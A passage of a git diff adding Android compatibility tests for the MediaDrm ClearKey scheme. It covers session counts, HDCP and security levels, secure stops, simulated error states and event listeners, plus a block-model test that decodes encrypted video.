+            if (!Arrays.equals(deviceId, getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY))) {
+                throw new Error("Failed to set byte array for key=" + DEVICEID_PROPERTY_KEY);
+            }
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    private final static int CLEARKEY_MAX_SESSIONS = 10;
+
+    @Presubmit
+    public void testGetNumberOfSessions() {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
+                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        try {
+            if (getClearkeyVersion(drm).equals("1.0")) {
+                Log.i(TAG, "Skipping testGetNumberOfSessions: not supported by clearkey 1.0");
+                return;
+            }
+
+            int maxSessionCount = drm.getMaxSessionCount();
+            if (maxSessionCount != CLEARKEY_MAX_SESSIONS) {
+                throw new Error("expected max session count to be " +
+                        CLEARKEY_MAX_SESSIONS);
+            }
+            int initialOpenSessionCount = drm.getOpenSessionCount();
+            if (initialOpenSessionCount == maxSessionCount) {
+                throw new Error("all sessions open, can't do increment test");
+            }
+            mSessionId = openSession(drm);
+            try {
+                if (drm.getOpenSessionCount() != initialOpenSessionCount + 1) {
+                    throw new Error("openSessionCount didn't increment");
+                }
+            } finally {
+                closeSession(drm, mSessionId);
+            }
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    @Presubmit
+    public void testHdcpLevels() {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+
+            if (getClearkeyVersion(drm).equals("1.0")) {
+                Log.i(TAG, "Skipping testHdcpLevels: not supported by clearkey 1.0");
+                return;
+            }
+
+            if (drm.getConnectedHdcpLevel() != MediaDrm.HDCP_NONE) {
+                throw new Error("expected connected hdcp level to be HDCP_NONE");
+            }
+
+            if (drm.getMaxHdcpLevel() != MediaDrm.HDCP_NO_DIGITAL_OUTPUT) {
+                throw new Error("expected max hdcp level to be HDCP_NO_DIGITAL_OUTPUT");
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+    }
+
+    @Presubmit
+    public void testSecurityLevels() {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        byte[] sessionId = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+
+            if (getClearkeyVersion(drm).equals("1.0")) {
+                Log.i(TAG, "Skipping testSecurityLevels: not supported by clearkey 1.0");
+                return;
+            }
+
+            sessionId = drm.openSession(MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO);
+            if (drm.getSecurityLevel(sessionId) != MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO) {
+                throw new Error("expected security level to be SECURITY_LEVEL_SW_SECURE_CRYPTO");
+            }
+            drm.closeSession(sessionId);
+            sessionId = null;
+
+            sessionId = drm.openSession();
+            if (drm.getSecurityLevel(sessionId) != MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO) {
+                throw new Error("expected security level to be SECURITY_LEVEL_SW_SECURE_CRYPTO");
+            }
+            drm.closeSession(sessionId);
+            sessionId = null;
+
+            try {
+                sessionId = drm.openSession(MediaDrm.SECURITY_LEVEL_SW_SECURE_DECODE);
+            } catch (IllegalArgumentException e) {
+                /* caught expected exception */
+            } catch (Exception e) {
+                throw new Exception ("did't get expected IllegalArgumentException" +
+                        " while opening a session with disallowed security level");
+            } finally  {
+                if (sessionId != null) {
+                    drm.closeSession(sessionId);
+                    sessionId = null;
+                }
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally  {
+            if (sessionId != null) {
+                drm.closeSession(sessionId);
+            }
+            if (drm != null) {
+                drm.close();
+            }
+        }
+     }
+
+    @Presubmit
+    public void testSecureStop() {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = startDrm(new byte[][] {CLEAR_KEY_CENC}, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        byte[] sessionId = null;
+        try {
+            if (getClearkeyVersion(drm).equals("1.0")) {
+                Log.i(TAG, "Skipping testSecureStop: not supported in ClearKey v1.0");
+                return;
+            }
+
+            drm.removeAllSecureStops();
+            Log.d(TAG, "Test getSecureStops from an empty list.");
+            List<byte[]> secureStops = drm.getSecureStops();
+            assertTrue(secureStops.isEmpty());
+
+            Log.d(TAG, "Test getSecureStopIds from an empty list.");
+            List<byte[]> secureStopIds = drm.getSecureStopIds();
+            assertTrue(secureStopIds.isEmpty());
+
+            mSessionId = openSession(drm);
+
+            mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                    getSurfaces(), mSessionId, false, mContext);
+            mMediaCodecPlayer.setAudioDataSource(
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
+            mMediaCodecPlayer.setVideoDataSource(
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
+            mMediaCodecPlayer.start();
+            mMediaCodecPlayer.prepare();
+            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+
+            for (int i = 0; i < NUMBER_OF_SECURE_STOPS; ++i) {
+                getKeys(drm, "cenc", mSessionId, mDrmInitData,
+                        MediaDrm.KEY_TYPE_STREAMING, new byte[][] {CLEAR_KEY_CENC});
+            }
+            Log.d(TAG, "Test getSecureStops.");
+            secureStops = drm.getSecureStops();
+            assertEquals(NUMBER_OF_SECURE_STOPS, secureStops.size());
+
+            Log.d(TAG, "Test getSecureStopIds.");
+            secureStopIds = drm.getSecureStopIds();
+            assertEquals(NUMBER_OF_SECURE_STOPS, secureStopIds.size());
+
+            Log.d(TAG, "Test getSecureStop using secure stop Ids.");
+            for (int i = 0; i < secureStops.size(); ++i) {
+                byte[] secureStop = drm.getSecureStop(secureStopIds.get(i));
+                assertTrue(Arrays.equals(secureStops.get(i), secureStop));
+            }
+
+            Log.d(TAG, "Test removeSecureStop given a secure stop Id.");
+            drm.removeSecureStop(secureStopIds.get(NUMBER_OF_SECURE_STOPS - 1));
+            secureStops = drm.getSecureStops();
+            secureStopIds = drm.getSecureStopIds();
+            assertEquals(NUMBER_OF_SECURE_STOPS - 1, secureStops.size());
+            assertEquals(NUMBER_OF_SECURE_STOPS - 1, secureStopIds.size());
+
+            Log.d(TAG, "Test releaseSecureStops given a release message.");
+            // Simulate server response message by removing
+            // every other secure stops to make it interesting.
+            List<byte[]> releaseList = new ArrayList<byte[]>();
+            int releaseListSize = 0;
+            for (int i = 0; i < secureStops.size(); i += 2) {
+                byte[] secureStop = secureStops.get(i);
+                releaseList.add(secureStop);
+                releaseListSize += secureStop.length;
+            }
+
+            // ClearKey's release message format (this is a format shared between
+            // the server and the drm service).
+            // The clearkey implementation expects the message to contain
+            // a 4 byte count of the number of fixed length secure stops
+            // to follow.
+            String count = String.format("%04d", releaseList.size());
+            byte[] releaseMessage = new byte[count.length() + releaseListSize];
+
+            byte[] buffer = count.getBytes();
+            System.arraycopy(buffer, 0, releaseMessage, 0, count.length());
+
+            int destPosition = count.length();
+            for (int i = 0; i < releaseList.size(); ++i) {
+                byte[] secureStop = releaseList.get(i);
+                int secureStopSize = secureStop.length;
+                System.arraycopy(secureStop, 0, releaseMessage, destPosition, secureStopSize);
+                destPosition += secureStopSize;
+            }
+
+            drm.releaseSecureStops(releaseMessage);
+            secureStops = drm.getSecureStops();
+            secureStopIds = drm.getSecureStopIds();
+            // All odd numbered secure stops are removed in the test,
+            // leaving 2nd, 4th, 6th and the 8th element.
+            assertEquals((NUMBER_OF_SECURE_STOPS - 1) / 2, secureStops.size());
+            assertEquals((NUMBER_OF_SECURE_STOPS - 1 ) / 2, secureStopIds.size());
+
+            Log.d(TAG, "Test removeAllSecureStops.");
+            drm.removeAllSecureStops();
+            secureStops = drm.getSecureStops();
+            assertTrue(secureStops.isEmpty());
+            secureStopIds = drm.getSecureStopIds();
+            assertTrue(secureStopIds.isEmpty());
+
+            mMediaCodecPlayer.reset();
+            closeSession(drm, mSessionId);
+        } catch (Exception e) {
+            throw new Error("Unexpected exception", e);
+        } finally {
+            if (sessionId != null) {
+                drm.closeSession(sessionId);
+            }
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that the framework handles a device returning
+     * ::android::hardware::drm@1.2::Status::ERROR_DRM_RESOURCE_CONTENTION.
+     * Expected behavior: throws MediaDrm.SessionException with
+     * errorCode ERROR_RESOURCE_CONTENTION
+     */
+    @Presubmit
+    public void testResourceContentionError() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        boolean gotException = false;
+
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+            drm.setPropertyString("drmErrorTest", "resourceContention");
+            byte[] sessionId = drm.openSession();
+
+            try {
+                byte[] ignoredInitData = new byte[] { 1 };
+                drm.getKeyRequest(sessionId, ignoredInitData, "cenc", MediaDrm.KEY_TYPE_STREAMING, null);
+            } catch (MediaDrm.SessionException e) {
+                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION) {
+                    throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
+                }
+                if(sIsAtLeastS && !e.isTransient()) {
+                        throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
+                }
+                gotException = true;
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+        if (!gotException) {
+            throw new Error("Didn't receive expected MediaDrm.SessionException");
+        }
+    }
+
+    /**
+     * Test sendExpirationUpdate and onExpirationUpdateListener
+     *
+     * Expected behavior: the EXPIRATION_UPDATE event arrives
+     * at the onExpirationUpdateListener with the expiry time
+     */
+    @Presubmit
+    public void testOnExpirationUpdateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mExpirationUpdateReceived = false;
+
+        // provideKeyResponse calls sendExpirationUpdate method
+        // for testing purpose, we therefore start a license request
+        // which calls provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[0],
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the event to arrive
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (!mExpirationUpdateReceived) {
+                throw new Error("EXPIRATION_UPDATE event was not received by the listener");
+            }
+          } catch (MediaDrmStateException e) {
+                throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that the onExpirationUpdateListener
+     * listener is not called after
+     * clearOnExpirationUpdateListener is called.
+     */
+    @Presubmit
+    public void testClearOnExpirationUpdateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mExpirationUpdateReceived = false;
+
+        // provideKeyResponse calls sendExpirationUpdate method
+        // for testing purpose, we therefore start a license request
+        // which calls provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[0],
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        // clear the expiration update listener
+        drm.clearOnExpirationUpdateListener();
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the event, it should not arrive
+        // because the expiration update listener has been cleared
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mExpirationUpdateReceived) {
+                throw new Error("onExpirationUpdateListener should not be called");
+            }
+        } catch (MediaDrmStateException e) {
+              throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that after onClearEventListener is called,
+     * MediaDrm's event listener is not called.
+     *
+     * Clearkey plugin's provideKeyResponse method sends a
+     * vendor defined event to the media drm event listener
+     * for testing purpose. Check that after onClearEventListener
+     * is called, the event listener is not called.
+     */
+    @Presubmit
+    public void testClearOnEventListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mEventListenerCalled = false;
+
+        // provideKeyResponse in clearkey plugin sends a
+        // vendor defined event to test the event listener;
+        // we therefore start a license request which will
+        // call provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[0],
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        // test that the onEvent listener is called
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the vendor defined event, it should not arrive
+        // because the event listener is cleared
+        try {
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (!mEventListenerCalled) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                throw new Error("onEventListener should be called");
+            }
+        } catch (MediaDrmStateException e) {
+              closeSession(drm, mSessionId);
+              stopDrm(drm);
+              throw new Error("Unexpected exception from closing session: ", e);
+        }
+
+        // clear the drm event listener
+        // and test that the onEvent listener is not called
+        mEventListenerCalled = false;
+        drm.clearOnEventListener();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the vendor defined event, it should not arrive
+        // because the event listener is cleared
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mEventListenerCalled) {
+                throw new Error("onEventListener should not be called");
+            }
+        } catch (MediaDrmStateException e) {
+              throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that the framework handles a device returning invoking
+     * the ::android::hardware::drm@1.2::sendSessionLostState callback
+     * Expected behavior: OnSessionLostState is called with
+     * the sessionId
+     */
+    @Presubmit
+    public void testSessionLostStateError() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        boolean gotException = false;
+        mLostStateReceived = false;
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        mDrm.setPropertyString("drmErrorTest", "lostState");
+        mSessionId = openSession(drm);
+
+        // simulates session lost state here, detected by closeSession
+
+        try {
+            try {
+                closeSession(drm, mSessionId);
+            } catch (MediaDrmStateException e) {
+                gotException = true; // expected for lost state
+            }
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mLostStateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (!mLostStateReceived) {
+                throw new Error("Callback for OnSessionLostStateListener not received");
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally {
+            stopDrm(drm);
+        }
+        if (!gotException) {
+            throw new Error("Didn't receive expected MediaDrmStateException");
+        }
+    }
+
+    /**
+     * Test that the framework handles a device ignoring
+     * events for the onSessionLostStateListener after
+     * clearOnSessionLostStateListener is called.
+     *
+     * Expected behavior: OnSessionLostState is not called with
+     * the sessionId
+     */
+    @Presubmit
+    public void testClearOnSessionLostStateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        boolean gotException = false;
+        mLostStateReceived = false;
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        mDrm.setPropertyString("drmErrorTest", "lostState");
+        mSessionId = openSession(drm);
+
+        // Simulates session lost state here, event is sent from closeSession.
+        // The session lost state should not arrive in the listener
+        // after clearOnSessionLostStateListener() is called.
+        try {
+            try {
+                mDrm.clearOnSessionLostStateListener();
+                Thread.sleep(2000);
+                closeSession(drm, mSessionId);
+            } catch (MediaDrmStateException e) {
+                gotException = true; // expected for lost state
+            }
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mLostStateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mLostStateReceived) {
+                throw new Error("Should not receive callback for OnSessionLostStateListener");
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally {
+            stopDrm(drm);
+        }
+        if (!gotException) {
+            throw new Error("Didn't receive expected MediaDrmStateException");
+        }
+    }
+
+    @Presubmit
+    public void testIsCryptoSchemeSupportedWithSecurityLevel() {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        if (MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID, "cenc",
+                                             MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL)) {
+            throw new Error("Clearkey claims to support SECURITY_LEVEL_HW_SECURE_ALL");
+        }
+        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID, "cenc",
+                                              MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO)) {
+            throw new Error("Clearkey claims not to support SECURITY_LEVEL_SW_SECURE_CRYPTO");
+        }
+    }
+
+    @Presubmit
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    public void testMediaDrmStateExceptionErrorCode()
+            throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+            byte[] sessionId = drm.openSession();
+            drm.closeSession(sessionId);
+
+            byte[] ignoredInitData = new byte[]{1};
+            drm.getKeyRequest(sessionId, ignoredInitData, "cenc",
+                    MediaDrm.KEY_TYPE_STREAMING,
+                    null);
+        } catch(MediaDrmStateException e) {
+            Log.i(TAG, "Verifying exception error code", e);
+            assertFalse("ERROR_SESSION_NOT_OPENED requires new session", e.isTransient());
+            assertEquals("Expected ERROR_SESSION_NOT_OPENED",
+                    MediaDrm.ErrorCodes.ERROR_SESSION_NOT_OPENED, e.getErrorCode());
+        }  finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+    }
+
+    private String getClearkeyVersion(MediaDrm drm) {
+        try {
+            return drm.getPropertyString("version");
+        } catch (Exception e) {
+            return "unavailable";
+        }
+    }
+
+    private boolean cannotHandleGetPropertyByteArray(MediaDrm drm) {
+        boolean apiNotSupported = false;
+        byte[] bytes = new byte[0];
+        try {
+            bytes = drm.getPropertyByteArray(DEVICEID_PROPERTY_KEY);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key or api not implemented
+            apiNotSupported = true;
+        }
+        return apiNotSupported;
+    }
+
+    private boolean cannotHandleSetPropertyString(MediaDrm drm) {
+        boolean apiNotSupported = false;
+        final byte[] bytes = new byte[0];
+        try {
+            drm.setPropertyString(LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key or api not implemented
+            apiNotSupported = true;
+        }
+        return apiNotSupported;
+    }
+
+    private boolean watchHasNoClearkeySupport() {
+        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+            if (isWatchDevice()) {
+                return true;
+            } else {
+                throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
+            }
+        }
+        return false;
+    }
+
+    private List<Surface> getSurfaces() {
+        return Arrays.asList(getActivity().getSurfaceHolder().getSurface());
+    }
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecBlockModelTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecBlockModelTest.java
new file mode 100644
index 0000000..2555bff
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmCodecBlockModelTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaDrm;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecBlockModelHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.UUID;;
+
+/**
+ * Media DRM Codec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaDrmCodecBlockModelTest extends AndroidTestCase {
+    private static final String TAG = "MediaDrmCodecBlockModelTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    /**
+     * Tests whether decoding a short encrypted group-of-pictures succeeds.
+     * The test queues a few encrypted video frames
+     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
+     */
+    public void testDecodeShortEncryptedVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortEncryptedVideo(
+                true /* obtainBlockForEachBuffer */));
+        MediaCodecBlockModelHelper.runThread(() -> runDecodeShortEncryptedVideo(
+                false /* obtainBlockForEachBuffer */));
+    }
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    private static final byte[] CLEAR_KEY_CENC = convert(new int[] {
+            0x3f, 0x0a, 0x33, 0xf3, 0x40, 0x98, 0xb9, 0xe2,
+            0x2b, 0xc0, 0x78, 0xe0, 0xa1, 0xb5, 0xe8, 0x54 });
+
+    private static final byte[] DRM_INIT_DATA = convert(new int[] {
+            // BMFF box header (4 bytes size + 'pssh')
+            0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
+            // Full box header (version = 1 flags = 0)
+            0x01, 0x00, 0x00, 0x00,
+            // SystemID
+            0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, 0xac, 0xe3, 0x3c,
+            0x1e, 0x52, 0xe2, 0xfb, 0x4b,
+            // Number of key ids
+            0x00, 0x00, 0x00, 0x01,
+            // Key id
+            0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+            0x30, 0x30, 0x30, 0x30, 0x30,
+            // size of data, must be zero
+            0x00, 0x00, 0x00, 0x00 });
+
+    private static final long ENCRYPTED_CONTENT_FIRST_BUFFER_TIMESTAMP_US = 12083333;
+    private static final long ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US = 15041666;
+
+    private static byte[] convert(int[] intArray) {
+        byte[] byteArray = new byte[intArray.length];
+        for (int i = 0; i < intArray.length; ++i) {
+            byteArray[i] = (byte)intArray[i];
+        }
+        return byteArray;
+    }
+
+    private MediaCodecBlockModelHelper.Result runDecodeShortEncryptedVideo(boolean obtainBlockForEachBuffer) {
+        MediaExtractor extractor = new MediaExtractor();
+
+        try (final MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID)) {
+            Uri uri = Uri.parse(Utils.getMediaPath() + "/clearkey/llama_h264_main_720p_8000.mp4");
+            extractor.setDataSource(uri.toString(), null);
+            extractor.selectTrack(0);
+            extractor.seekTo(12083333, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+            drm.setOnEventListener(
+                    (MediaDrm mediaDrm, byte[] sessionId, int event, int extra, byte[] data) -> {
+                        if (event == MediaDrm.EVENT_KEY_REQUIRED
+                                || event == MediaDrm.EVENT_KEY_EXPIRED) {
+                            MediaDrmClearkeyTest.retrieveKeys(
+                                    mediaDrm, "cenc", sessionId, DRM_INIT_DATA,
+                                    MediaDrm.KEY_TYPE_STREAMING,
+                                    new byte[][] { CLEAR_KEY_CENC });
+                        }
+                    });
+            byte[] sessionId = drm.openSession();
+            MediaDrmClearkeyTest.retrieveKeys(
+                    drm, "cenc", sessionId, DRM_INIT_DATA, MediaDrm.KEY_TYPE_STREAMING,
+                    new byte[][] { CLEAR_KEY_CENC });
+            MediaCodecBlockModelHelper.Result result =
+                MediaCodecBlockModelHelper.runDecodeShortVideo(
+                        extractor, ENCRYPTED_CONTENT_LAST_BUFFER_TIMESTAMP_US,
+                        obtainBlockForEachBuffer, null /* format */, null /* events */, sessionId);
+            drm.closeSession(sessionId);
+            return result;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private MediaCodecBlockModelHelper.Result runDecodeShortVideo(
+            String inputResource,
+            long lastBufferTimestampUs,
+            boolean obtainBlockForEachBuffer) {
+        return MediaCodecBlockModelHelper.runDecodeShortVideo(
+                getMediaExtractorForMimeType(inputResource, "video/"),
+                lastBufferTimestampUs, obtainBlockForEachBuffer, null, null, null);
+    }
+
+    private static MediaExtractor getMediaExtractorForMimeType(final String resource,
+            String mimeTypePrefix) {
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        try (AssetFileDescriptor afd = getAssetFileDescriptorFor(resource)) {
+            mediaExtractor.setDataSource(
+                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        int trackIndex;
+        for (trackIndex = 0; trackIndex < mediaExtractor.getTrackCount(); trackIndex++) {
